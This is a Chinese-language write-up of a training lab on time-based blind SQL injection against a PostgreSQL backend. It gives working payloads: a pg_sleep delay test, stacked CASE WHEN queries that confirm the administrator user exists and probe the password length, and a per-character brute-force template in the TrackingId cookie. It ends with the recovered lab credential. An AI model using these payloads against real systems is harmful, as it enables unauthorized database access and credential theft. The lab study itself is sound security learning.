# Web SQL injection Lab15
題目敘述可知這題是時間盲注 + 資料爆破版,透過延遲回應時間,逐一猜出:
- administrator 的密碼長度
- 每個位置的字元內容
---
一樣先進入網站並攔截請求。


根據上題的經驗,我們先試一次延遲再來結合查詢語法。
```
' ||pg_sleep(10)--
```

一樣跑了 20 多秒,確定延遲有效之後,結合我們之前學習我們之前學習的盲注技巧,老樣子是找使用者存不存在。
```
'%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
```
- 如果資料庫延遲 10 秒 → 表示條件為真
- 如果資料庫立即回應 → 表示條件為假
:::info
### 為什麼這裡要加 %3B(;)?
因為後面多一個新的查詢語句,所以加個;,用 URL 編碼則是因為直接打會出事。
:::

跑了一萬多毫秒,顯然是成功延遲了,所以可以開始猜密碼長度跟密碼內容。
```
'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
```
- 如果資料庫延遲 10 秒 → 表示條件為真
- 如果資料庫立即回應 → 表示條件為假

一樣是 20 位,所以一樣爆破每一位密碼內容拿去登入。

```
TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,1,1)='§a§')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
```
- 如果資料庫延遲 10 秒 → 表示條件為真
- 如果資料庫立即回應 → 表示條件為假

拿到帳密:
`administrator:g1xi5mbyn6wrwjuz5xc8`

---